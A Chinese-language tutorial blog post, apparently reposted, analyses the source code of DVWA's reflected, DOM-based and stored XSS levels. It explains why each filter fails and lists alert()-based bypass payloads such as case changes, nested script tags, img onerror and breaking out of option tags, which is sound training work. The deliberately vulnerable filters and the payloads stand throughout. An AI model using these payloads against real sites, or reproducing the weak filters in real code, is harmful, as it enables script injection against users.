DVWA(xss部分源码分析)

前言

DVWA靶场都不陌生，最新学习xss，从新又搞了一遍xss部分，从源码方面康康xss的原因，参考了很多大佬的博客表示感谢
更多web安全知识欢迎访问:https://lmg66.github.io/

环境配置

官网:http://www.dvwa.co.uk/
下载地址:https://github.com/ethicalhack3r/DVWA
下载方式:zip下载或git https://github.com/ethicalhack3r/DVWA
下载完成放入http服务下即可
我使用的是phpstudy下载地址:https://m.xp.cn/

反射性xss

级别low

查看源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

分析

name变量没有过滤，直接输出

payload

/vulnerabilities/xss_r/?name=<script>alert('xss')<%2Fscript>#

级别:Medium

查看源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '<script>', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

分析

这里用正则表达过滤<scr/ipt>标签,正则的匹配有缺陷大小问题，而且只是匹配了一次可以嵌套，而且只是过滤<scr/ipt>还可以用其他标签代替来触发反射性xss

payload

vulnerabilities/xss_r/?name=<Script>alert('xss')<%2FScript>#
vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3Dalert('XSS')>#
/vulnerabilities/xss_r/?name=<s<script>cript>alert('XSS')<%2Fscript>#

级别:high

查看源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

分析

不区分大小写，而且通配符匹配，嵌套无法使用，可以尝试其他标签触发弹窗

payload

/vulnerabilities/xss_r/?name=<img+src%3D"xss"+onerror%3Dalert('xss')>#

级别:impossible

查看源码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$name = htmlspecialchars( $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析

name变量通过htmlspecialchars()函数把预定的字符转为HTML实体，且输入到

标签里，所以占时


DOM型xss
级别:low
查看源码:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
            <select name="default">
                <script>
                    if (document.location.href.indexOf("default=") >= 0) {
                        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                        document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
                        document.write("<option value='' disabled='disabled'>----</option>");
                    }
                    document.write("<option value='English'>English</option>");
                    document.write("<option value='French'>French</option>");
                    document.write("<option value='Spanish'>Spanish</option>");
                    document.write("<option value='German'>German</option>");
                </script>
            </select>
            <input type="submit" value="Select" />
        </form>
</div>

分析
lang变量通过document.location.href来获取url，并没有过滤就输入到了option标签中




payload

级别:Medium
查看源码:
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

分析
对default变量进行了过滤，通过stripos()函数查找<scr/ipt>在default中的位置(不区分大小写)，如果匹配到，则变为default=English,但是可以使用其他标签来绕过，先要闭合和标签




payload:
/vulnerabilities/xss_d/?default=English </option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />




级别:high
查看源码:
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

分析
使用白名单，进行匹配，如果值不为就default=English，但是只是对default进行了过滤，可以使用其他变量，document.location.href来获取url，仍然会输出到标签中显示，当然也可以用注释符号#
payload:
/vulnerabilities/xss_d/?default=English&a=</option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English&a=?default=English&a=<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#</option></select><script>alert('xss')</script>)








级别:impossible
查看源码:
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
	$decodeURI = "";
}

分析:
如果是impossible难度则decodeURI=""，意思就是不解码，那么标签就会被过滤，无法闭合标签和创建新标签，所以无法xss


存储型xss
级别:low
查看源码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

分析:trim()函数 stripslashes() 函数 mysqli_real_escape_string() 函数只是对/类型的处理过滤转码，主要是对数据库的保护并未设计的xss的内容，故可以直接xss





payload
name:Lmg66
message:<script>alert('xss')</script>


级别:medium
查看源码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

分析:
对name用str_replace()是区分大小写的，可以大写绕过，只是匹配了一次可以嵌套绕过，也可以使用其他的标签
 对message，addslashes()函数在预定字符加/，strip_tags()函数剥去字符串中HTML，XML，以及php标签，htmlspecialchars()函数预定的函数转换为HTML实体，基本都过滤和转义了，所以突破name变量，name变量限制了输出长度，要F12更改name的maxlength









payload:
name:<Script>alert('xss')</script>
message:Lmg66
name:<s<script>cript>alert('xss')</script>
message:Lmg66
name:<img src='xss' onerror=alert('xss')>
message:Lmg66

级别:high
查看源码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

分析:
对message和上一个一样，没希望突破，对name来说preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $name )之前反射型xss见过，不区分大小写，通配符过滤，可以使用其他标签,name同样限制了长度，F12改一下maxlength="100"
payload:
name:<img src='xss' onerror=alert('xss')>
message:Lmg66

级别:impossible
查看源码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = stripslashes( $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$name = htmlspecialchars( $name );

	// Update database
	$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
	$data->bindParam( ':message', $message, PDO::PARAM_STR );
	$data->bindParam( ':name', $name, PDO::PARAM_STR );
	$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析:
对name和message都进行了严格过滤

来源：oschina

链接：https://my.oschina.net/u/4408441/blog/4388685

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